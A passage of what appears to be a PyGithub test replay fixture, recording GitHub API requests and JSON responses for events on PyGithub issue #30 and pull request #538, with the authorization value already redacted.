hub.com/users/ghost/following{/other_user}","gists_url":"https://api.github.com/users/ghost/gists{/gist_id}","starred_url":"https://api.github.com/users/ghost/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ghost/subscriptions","organizations_url":"https://api.github.com/users/ghost/orgs","repos_url":"https://api.github.com/users/ghost/repos","events_url":"https://api.github.com/users/ghost/events{/privacy}","received_events_url":"https://api.github.com/users/ghost/received_events","type":"User","user_view_type":"public","site_admin":false},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/events","html_url":"https://github.com/PyGithub/PyGithub/issues/30","id":4769659,"node_id":"MDU6SXNzdWU0NzY5NjU5","number":30,"title":"Issue also created by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":3376821,"node_id":"MDU6TGFiZWwzMzc2ODIx","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/question","name":"question","color":"02e10c","default":true,"description":null}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2012-05-27T05:40:15Z","updated_at":"2014-03-02T18:55:10Z","closed_at":"2012-05-27T11:04:25Z","author_association":"MEMBER","active_lock_reason":null,"body":"Body created by PyGithub\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/timeline","performed_via_github_app":null,"state_reason":"completed"},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/16348656 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"df474a40b9935d5e20e6bb1537c615e7dc202e5653bd59f1ab867980b2b9d414"'), ('Last-Modified', 'Sun, 20 Oct 2024 07:14:52 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '10'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A578:59502:21996668:227DACE2:677847C4')] {"id":16348656,"node_id":"MDE1OlJlZmVyZW5jZWRFdmVudDE2MzQ4NjU2","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16348656","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"referenced","commit_id":"ed866fc43833802ab553e5ff8581c81bb00dd433","commit_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ed866fc43833802ab553e5ff8581c81bb00dd433","created_at":"2012-05-27T07:29:25Z","issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/events","html_url":"https://github.com/PyGithub/PyGithub/issues/30","id":4769659,"node_id":"MDU6SXNzdWU0NzY5NjU5","number":30,"title":"Issue also created by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":3376821,"node_id":"MDU6TGFiZWwzMzc2ODIx","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/question","name":"question","color":"02e10c","default":true,"description":null}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2012-05-27T05:40:15Z","updated_at":"2014-03-02T18:55:10Z","closed_at":"2012-05-27T11:04:25Z","author_association":"MEMBER","active_lock_reason":null,"body":"Body created by PyGithub\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/timeline","performed_via_github_app":null,"state_reason":"completed"},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/16351220 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f44c263432863e961d1f4cad4a3bbaab3f3aa0a693d3910d9677a7627320d824"'), ('Last-Modified', 'Sun, 20 Oct 2024 07:14:52 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A57A:4D504:229AD8E8:237F1EEF:677847C4')] {"id":16351220,"node_id":"MDExOkNsb3NlZEV2ZW50MTYzNTEyMjA=","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16351220","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"closed","commit_id":null,"commit_url":null,"created_at":"2012-05-27T11:04:25Z","state_reason":null,"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/events","html_url":"https://github.com/PyGithub/PyGithub/issues/30","id":4769659,"node_id":"MDU6SXNzdWU0NzY5NjU5","number":30,"title":"Issue also created by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":3376821,"node_id":"MDU6TGFiZWwzMzc2ODIx","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/question","name":"question","color":"02e10c","default":true,"description":null}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2012-05-27T05:40:15Z","updated_at":"2014-03-02T18:55:10Z","closed_at":"2012-05-27T11:04:25Z","author_association":"MEMBER","active_lock_reason":null,"body":"Body created by PyGithub\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/timeline","performed_via_github_app":null,"state_reason":"completed"},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/98136337 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"74fd7ed566384b31c4745834b097e855ae4b4a388648906b6df91547432b2527"'), ('Last-Modified', 'Sun, 20 Oct 2024 07:14:52 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A58A:521E5:22CB74A1:23AFB9A6:677847C4')] {"id":98136337,"node_id":"MDEyOkxhYmVsZWRFdmVudDk4MTM2MzM3","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/98136337","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"labeled","commit_id":null,"commit_url":null,"created_at":"2014-03-02T18:55:10Z","label":{"name":"v1","color":"5319e7"},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/events","html_url":"https://github.com/PyGithub/PyGithub/issues/30","id":4769659,"node_id":"MDU6SXNzdWU0NzY5NjU5","number":30,"title":"Issue also created by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":3376821,"node_id":"MDU6TGFiZWwzMzc2ODIx","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/question","name":"question","color":"02e10c","default":true,"description":null}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2012-05-27T05:40:15Z","updated_at":"2014-03-02T18:55:10Z","closed_at":"2012-05-27T11:04:25Z","author_association":"MEMBER","active_lock_reason":null,"body":"Body created by PyGithub\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/timeline","performed_via_github_app":null,"state_reason":"completed"},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1009034767 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"d58d8b19dde2f53571f56d1df25bbe781ed4a39468646e53110248d9305a5a93"'), ('Last-Modified', 'Sun, 15 Dec 2024 12:22:25 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A58E:59502:219968CA:227DAF3F:677847C5')] {"id":1009034767,"node_id":"MDE0Ok1lbnRpb25lZEV2ZW50MTAwOTAzNDc2Nw==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1009034767","actor":{"login":"jzelinskie","id":343539,"node_id":"MDQ6VXNlcjM0MzUzOQ==","avatar_url":"https://avatars.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"mentioned","commit_id":null,"commit_url":null,"created_at":"2017-03-21T17:30:14Z","issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/events","html_url":"https://github.com/PyGithub/PyGithub/pull/538","id":215553858,"node_id":"MDExOlB1bGxSZXF1ZXN0MTExNjQ5NzAz","number":538,"title":"Add Support for Pull Request Reviews feature","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":8,"created_at":"2017-03-20T21:00:37Z","updated_at":"2024-10-18T08:57:49Z","closed_at":"2017-03-25T16:52:49Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","html_url":"https://github.com/PyGithub/PyGithub/pull/538","diff_url":"https://github.com/PyGithub/PyGithub/pull/538.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/538.patch","merged_at":"2017-03-25T16:52:49Z"},"body":"Adding support to Pull Request class to access new Github API features [Pull Request reviews](https://developer.github.com/v3/pulls/reviews/) and [Pull Request Reviewer Requests](https://developer.github.com/v3/pulls/review_requests/)\r\n\r\nThe API's is still in beta. \r\n\r\nI approached this by providing a minimal set of routines to access the list of reviews or a specific review. Also access to get a list of Reviewer requests. \r\n\r\nBecause the API is still early in Beta, I choose not to implement the create/delete/edit features, but the infrastructure should be in place for future improvements.\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1015402964 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ff6778233343994d7be1669bf9689a90ff5d2444af044ed0e2969e6531ccb0d2"'), ('Last-Modified', 'Sun, 15 Dec 2024 12:22:25 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A59A:4E297:238945A3:246D8C28:677847C5')] {"id":1015402964,"node_id":"MDExOk1lcmdlZEV2ZW50MTAxNTQwMjk2NA==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1015402964","actor":{"login":"jzelinskie","id":343539,"node_id":"MDQ6VXNlcjM0MzUzOQ==","avatar_url":"https://avatars.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"merged","commit_id":"2525515b094d7425f7018eb5b66171e21c5fbc10","commit_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2525515b094d7425f7018eb5b66171e21c5fbc10","created_at":"2017-03-25T16:52:49Z","issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/events","html_url":"https://github.com/PyGithub/PyGithub/pull/538","id":215553858,"node_id":"MDExOlB1bGxSZXF1ZXN0MTExNjQ5NzAz","number":538,"title":"Add Support for Pull Request Reviews feature","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":8,"created_at":"2017-03-20T21:00:37Z","updated_at":"2024-10-18T08:57:49Z","closed_at":"2017-03-25T16:52:49Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","html_url":"https://github.com/PyGithub/PyGithub/pull/538","diff_url":"https://github.com/PyGithub/PyGithub/pull/538.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/538.patch","merged_at":"2017-03-25T16:52:49Z"},"body":"Adding support to Pull Request class to access new Github API features [Pull Request reviews](https://developer.github.com/v3/pulls/reviews/) and [Pull Request Reviewer Requests](https://developer.github.com/v3/pulls/review_requests/)\r\n\r\nThe API's is still in beta. \r\n\r\nI approached this by providing a minimal set of routines to access the list of reviews or a specific review. Also access to get a list of Reviewer requests. \r\n\r\nBecause the API is still early in Beta, I choose not to implement 